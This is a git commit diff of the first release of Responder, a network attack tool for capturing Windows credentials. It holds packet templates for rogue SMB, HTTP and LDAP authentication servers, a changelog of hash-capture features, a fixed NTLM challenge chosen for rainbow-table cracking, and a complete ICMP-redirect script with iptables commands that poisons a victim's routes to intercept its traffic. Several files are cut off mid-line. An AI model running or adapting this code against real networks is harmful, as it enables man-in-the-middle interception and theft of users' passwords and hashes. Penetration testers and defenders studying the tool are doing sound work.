commit e821133708098c74497a3f9b0387a3ad048d5a48 Author: Lgandx Date: Tue Feb 12 01:07:44 2013 -0500 Initial commit diff --git a/CHANGELOG.txt b/CHANGELOG.txt new file mode 100644 index 0000000..db23c3c --- /dev/null +++ b/CHANGELOG.txt @@ -0,0 +1,35 @@ +ChangeLog from 0.6 to 1.9: +- Added: WPAD transparent proxy server. +- Fix: minor bug fix +- Fix: Fixed bug in HTTP server. +- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP. +- Added: Ability to turn on/off the DNS server. +- Added: Icmp-Redirect.py for MITM Windows =< 5.2 Domain members. +- Added: SMB Clear Text function for NT4 specific. +- Added: DNS server module. +- Added: FTP server module. +- Added: Ability to find the PDC in stealth mode with the Browser listener. +- Several changes. +- Removed: -d option (Domain), useless for now. +- Added: SMB Extended Security NTLMSSP authentication. +- Added: Fingerprint module. +- Added: Ability to turn off independently capture services.(mubix) +- Added: Function to grab HTTP cookies. +- Fix: Typo in logfile description. +- Added: Option for logging to a file (ravenium). +- Added: Basic exception handling for server sockets (ravenium). +- Added: Logging functionality, now logs all Responder activity to a file with date and time. +- Added: Print IP address to stdout for each protocol. +- Improvement: Added new line on Writedata (atucom). +- Improvement: final Hash is now printed to stdout instead of NT and LM. +- Fix: Fixed spelling in README (atucom). +- Fix: Removed hardcoded challenge for SQL NTLM. +- Fix: Removed hardcoded challenge for HTTP NTLM. +- Added an HTTP server with support for ntlmv1/v2 and basic Auth. +- Added command line switch support with optparse. +- Added -r switch, which allows turning On/Off Wredir answers. +- Added the possibility to turn off HTTP server using the -s switch. +- Added LLMNR module. +- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are + empty. +- Several minor changes. diff --git a/Fingerprint.py b/Fingerprint.py new file mode 100644 index 0000000..a9376a7 --- /dev/null +++ b/Fingerprint.py @@ -0,0 +1,133 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2013 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re,sys,socket,struct +from socket import * +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("wordcount", "\x00"), + ("bcc", "\x62\x00"), + ("data", "") + ]) + + def calculate(self): + self.fields["bcc"] = struct.pack(". +import struct +from odict import OrderedDict +from base64 import b64decode,b64encode + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + + +#HTTP Packet used for further NTLM auth. +class IIS_Auth_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +#HTTP Packet Granted auth. +class IIS_Auth_Granted(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +#HTTP NTLM Auth +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + ##First convert to uni + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + ##Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack(". +import sys,socket,struct,optparse,random +from socket import * +from odict import OrderedDict +from random import randrange + +parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") + +parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") + +parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") + +parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") + +parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") + +parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") + +options, args = parser.parse_args() + +if options.OURIP is None: + print "-i mandatory option is missing.\n" + parser.print_help() + exit(-1) + +if options.OriginalGwAddr is None: + print "-g mandatory option is missing, please provide the original gateway address.\n" + parser.print_help() + exit(-1) + +if options.VictimIP is None: + print "-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) + +if options.Interface is None: + print "-I mandatory option is missing, please provide your network interface.\n" + parser.print_help() + exit(-1) + +if options.ToThisHost is None: + print "-r mandatory option is missing, please provide a destination target.\n" + parser.print_help() + exit(-1) + +if options.AlternateGwAddr is None: + AlternateGwAddr = options.OURIP + +#Setting some vars. +OURIP = options.OURIP +OriginalGwAddr = options.OriginalGwAddr +AlternateGwAddr = options.AlternateGwAddr +VictimIP = options.VictimIP +ToThisHost = options.ToThisHost +Interface = options.Interface + +def Show_Help(ExtraHelpData): + help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" + help+= ExtraHelpData + print help + +MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) + +Show_Help(MoreHelp) + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def GenCheckSum(data): + s = 0 + for i in range(0, len(data), 2): + q = ord(data[i]) + (ord(data[i+1]) << 8) + f = s+q + s = (f & 0xffff) + (f >> 16) + return struct.pack("H", len(CalculateLen)) + # Then CheckSum this packet + CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + +class ICMPRedir(Packet): + fields = OrderedDict([ + ("Type", "\x05"), + ("OpCode", "\x01"), + ("CheckSum", "\x00\x00"), + ("GwAddr", ""), + ("Data", ""), + + ]) + + def calculate(self): + #Set the values + self.fields["GwAddr"] = inet_aton(OURIP) + # Then CheckSum this packet + CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + +class DummyUDP(Packet): + fields = OrderedDict([ + ("SrcPort", "\x00\x35"), #port 53 + ("DstPort", "\x00\x35"), + ("Len", "\x00\x08"), #Always 8 in this case. + ("CheckSum", "\x00\x00"), #CheckSum disabled. + ]) + +def ReceiveArpFrame(DstAddr): + s = socket(AF_PACKET, SOCK_RAW) + s.settimeout(5) + Protocol = 0x0806 + s.bind((Interface, Protocol)) + OurMac = s.getsockname()[4] + Eth = EthARP(SrcMac=OurMac) + Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) + Arp.calculate() + final = str(Eth)+str(Arp) + try: + s.send(final) + data = s.recv(1024) + DstMac = data[22:28] + DestMac = DstMac.encode('hex') + PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + return PrintMac,DstMac + except: + print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + exit(1) + +def IcmpRedirectSock(): + PrintMac,DestMac = ReceiveArpFrame(VictimIP) + print '[ARP]Target Mac address is :',PrintMac + PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) + print '[ARP]Router Mac address is :',PrintMac + s = socket(AF_PACKET, SOCK_RAW) + Protocol = 0x0800 + s.bind((Interface, Protocol)) + Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) + IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=ToThisHost,TTL="\x40",Data=str(DummyUDP())) + IPPackUDP.calculate() + ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) + ICMPPack.calculate() + IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) + IPPack.calculate() + final = str(Eth)+str(IPPack) + s.send(final) + print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,ToThisHost) + +IcmpRedirectSock() diff --git a/LDAPPackets.py b/LDAPPackets.py new file mode 100644 index 0000000..9730687 --- /dev/null +++ b/LDAPPackets.py @@ -0,0 +1,238 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2013 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +import struct +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + + +class LDAPSearchDefaultPacket(Packet): + fields = OrderedDict([ + ("ParserHeadASNID", "\x30"), + ("ParserHeadASNLen", "\x0c"), + ("MessageIDASNID", "\x02"), + ("MessageIDASNLen", "\x01"), + ("MessageIDASNStr", "\x0f"), + ("OpHeadASNID", "\x65"), + ("OpHeadASNIDLen", "\x07"), + ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. + ]) + +class LDAPSearchSupportedCapabilitiesPacket(Packet): + fields = OrderedDict([ + ("ParserHeadASNID", "\x30"), + ("ParserHeadASNLenOfLen", "\x84"), + ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 + ("MessageIDASNID", "\x02"), + ("MessageIDASNLen", "\x01"), + ("MessageIDASNStr", "\x02"), + ("OpHeadASNID", "\x64"), + ("OpHeadASNIDLenOfLen", "\x84"), + ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 + ("ObjectName", "\x04\x00"), + ("SearchAttribASNID", "\x30"), + ("SearchAttribASNLenOfLen", "\x84"), + ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 + ("SearchAttribASNID1", "\x30"), + ("SearchAttribASN1LenOfLen", "\x84"), + ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 + ("SearchAttribASN2ID", "\x04"), + ("SearchAttribASN2Len", "\x15"),#21 + ("SearchAttribASN2Str", "supportedCapabilities"), + ("SearchAttribASN3ID", "\x31"), + ("SearchAttribASN3LenOfLen", "\x84"), + ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), + ("SearchAttrib1ASNID", "\x04"), + ("SearchAttrib1ASNLen", "\x16"),#22 + ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), + ("SearchAttrib2ASNID", "\x04"), + ("SearchAttrib2ASNLen", "\x17"),#23 + ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), + ("SearchAttrib3ASNID", "\x04"), + ("SearchAttrib3ASNLen", "\x17"),#23 + ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), + ("SearchDoneASNID", "\x30"), + ("SearchDoneASNLenOfLen", "\x84"), + ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 + ("MessageIDASN2ID", "\x02"), + ("MessageIDASN2Len", "\x01"), + ("MessageIDASN2Str", "\x02"), + ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), + ## No need to calculate anything this time, this packet is generic. + ]) + +class LDAPSearchSupportedMechanismsPacket(Packet): + fields = OrderedDict([ + ("ParserHeadASNID", "\x30"), + ("ParserHeadASNLenOfLen", "\x84"), + ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 + ("MessageIDASNID", "\x02"), + ("MessageIDASNLen", "\x01"), + ("MessageIDASNStr", "\x02"), + ("OpHeadASNID", "\x64"), + ("OpHeadASNIDLenOfLen", "\x84"), + ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 + ("ObjectName", "\x04\x00"), + ("SearchAttribASNID", "\x30"), + ("SearchAttribASNLenOfLen", "\x84"), + ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 + ("SearchAttribASNID1", "\x30"), + ("SearchAttribASN1LenOfLen", "\x84"), + ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 + ("SearchAttribASN2ID", "\x04"), + ("SearchAttribASN2Len", "\x17"),#23 + ("SearchAttribASN2Str", "supportedSASLMechanisms"), + ("SearchAttribASN3ID", "\x31"), + ("SearchAttribASN3LenOfLen", "\x84"), + ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 + ("SearchAttrib1ASNID", "\x04"), + ("SearchAttrib1ASNLen", "\x06"),#6 + ("SearchAttrib1ASNStr", "GSSAPI"), + ("SearchAttrib2ASNID", "\x04"), + ("SearchAttrib2ASNLen", "\x0a"),#10 + ("SearchAttrib2ASNStr", "GSS-SPNEGO"), + ("SearchAttrib3ASNID", "\x04"), + ("SearchAttrib3ASNLen", "\x08"),#8 + ("SearchAttrib3ASNStr", "EXTERNAL"), + ("SearchAttrib4ASNID", "\x04"), + ("SearchAttrib4ASNLen", "\x0a"),#10 + ("SearchAttrib4ASNStr", "DIGEST-MD5"), + ("SearchDoneASNID", "\x30"), + ("SearchDoneASNLenOfLen", "\x84"), + ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 + ("MessageIDASN2ID", "\x02"), + ("MessageIDASN2Len", "\x01"), + ("MessageIDASN2Str", "\x02"), + ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), + ## No need to calculate anything this time, this packet is generic. + ]) + +class LDAPNTLMChallenge(Packet): + fields = OrderedDict([ + ("ParserHeadASNID", "\x30"), + ("ParserHeadASNLenOfLen", "\x84"), + ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 + ("MessageIDASNID", "\x02"), + ("MessageIDASNLen", "\x01"), + ("MessageIDASNStr", "\x02"), + ("OpHeadASNID", "\x61"), + ("OpHeadASNIDLenOfLen", "\x84"), + ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 + ("Status", "\x0A"), + ("StatusASNLen", "\x01"), + ("StatusASNStr", "\x0e"), #In Progress. + ("MatchedDN", "\x04\x00"), #Null + ("ErrorMessage", "\x04\x00"), #Null + ("SequenceHeader", "\x87"), + ("SequenceHeaderLenOfLen", "\x81"), + ("SequenceHeaderLen", "\x82"), #188 + ("NTLMSSPSignature", "NTLMSSP"), + ("NTLMSSPSignatureNull", "\x00"), + ("NTLMSSPMessageType", "\x02\x00\x00\x00"), + ("NTLMSSPNtWorkstationLen","\x1e\x00"), + ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), + ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), + ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), + ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), + ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), + ("NTLMSSPNtTargetInfoLen","\x94\x00"), + ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), + ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionHigh","\x05"), + ("NegTokenInitSeqMechMessageVersionLow","\x02"), + ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), + ("NTLMSSPNtWorkstationName","SMB12"), + ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), + ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), + ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), + ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), + ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), + ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), + ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), + ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), + ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), + ]) + + def calculate(self): + + ##Convert strings to Unicode first... + self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') + + ###### Workstation Offset + CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) + + ###### AvPairs Offset + CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) + + ###### LDAP Packet Len + CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs + + + OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs + + NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs + + ##### LDAP Len Calculation: + self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(". + +import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random +from Fingerprint import RunSmbFinger,OsNameClientVersion +from odict import OrderedDict +from socket import inet_aton +from random import randrange + +parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b 1 -s On -r 0', + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") + +parser.add_option('-b', '--basic',action="store", help="Set this to 1 if you want to return a Basic HTTP authentication. 0 will return an NTLM authentication.This option is mandatory.", metavar="0",dest="Basic", choices=['0','1'], default="0") + +parser.add_option('-s', '--http',action="store", help="Set this to On or Off to start/stop the HTTP server. Default value is On", metavar="Off",dest="on_off", choices=['On','Off'], default="On") + +parser.add_option('-S', '--smb',action="store", help="Set this to On or Off to start/stop the SMB server. Default value is On", metavar="Off",dest="SMB_on_off", choices=['On','Off'], default="On") + +parser.add_option('-q', '--sql',action="store", help="Set this to On or Off to start/stop the SQL server. Default value is On", metavar="Off",dest="SQL_on_off", choices=['On','Off'], default="On") + +parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off (0)", metavar="0",dest="Wredirect", choices=['1','0'], default="0") + +parser.add_option('-c','--challenge', action="store", dest="optChal", help = "The server challenge to set for NTLM authentication. If not set, then defaults to 1122334455667788, the most common challenge for existing Rainbow Tables", metavar="1122334455667788", default="1122334455667788") + +parser.add_option('-l','--logfile', action="store", dest="sessionLog", help = "Log file to use for Responder session. ", metavar="Responder-Session.log", default="Responder-Session.log") + +parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','Off'], default="Off") + +parser.add_option('-F','--ftp', action="store", dest="FTP_On_Off", help = "Set this to On or Off to start/stop the FTP server. Default value is On", metavar="On", choices=['On','Off'], default="On") + +parser.add_option('-L','--ldap', action="store", dest="LDAP_On_Off", help = "Set this to On or Off to start/stop the LDAP server. Default value is On", metavar="On", choices=['On','Off'], default="On") + +parser.add_option('-D','--dns', action="store", dest="DNS_On_Off", help = "Set this to On or Off to start/stop the DNS server. Default value is On", metavar="On", choices=['On','Off'], default="On") + +parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = 